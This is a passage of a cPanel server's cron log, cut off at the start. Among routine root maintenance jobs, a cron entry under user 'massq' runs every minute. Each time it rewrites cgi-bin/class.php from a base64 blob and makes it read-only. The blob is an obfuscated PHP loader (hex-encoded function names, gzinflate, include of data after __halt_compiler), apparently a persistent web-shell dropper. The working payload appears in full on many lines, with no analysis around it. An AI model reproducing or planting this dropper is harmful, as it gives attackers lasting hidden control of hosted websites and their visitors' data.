gLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:11:01 server CROND[31454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:12:01 server CROND[31891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:12:01 server CROND[31890]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:12:01 server CROND[31893]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:12:01 server CROND[31892]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 08:13:01 server CROND[32261]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:13:01 server CROND[32267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:13:01 server CROND[32268]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:14:01 server CROND[32625]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:14:01 server CROND[32626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:14:01 server CROND[32627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:15:01 server CROND[589]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  5 08:15:01 server CROND[590]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 08:15:01 server CROND[594]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 08:15:01 server CROND[593]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 08:15:01 server CROND[600]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 08:15:01 server CROND[599]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 08:15:01 server CROND[601]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:15:01 server CROND[603]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:15:01 server CROND[602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:16:01 server CROND[1645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:16:01 server CROND[1647]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:16:01 server CROND[1649]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:17:01 server CROND[2092]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:17:01 server CROND[2093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:17:01 server CROND[2094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:18:01 server CROND[2484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:18:01 server CROND[2485]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:18:01 server CROND[2487]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:19:01 server CROND[2896]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:19:01 server CROND[2897]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:19:01 server CROND[2898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:20:01 server CROND[3302]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 08:20:01 server CROND[3304]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 08:20:01 server CROND[3321]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 08:20:01 server CROND[3322]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:20:01 server CROND[3323]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 08:20:01 server CROND[3324]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 08:20:01 server CROND[3325]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 08:20:01 server CROND[3320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:20:01 server CROND[3319]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:21:01 server CROND[4310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:21:01 server CROND[4309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:21:01 server CROND[4311]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:22:01 server CROND[4680]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 08:22:01 server CROND[4681]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:22:01 server CROND[4682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:23:01 server CROND[5070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 08:23:01 server CROND[5072]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
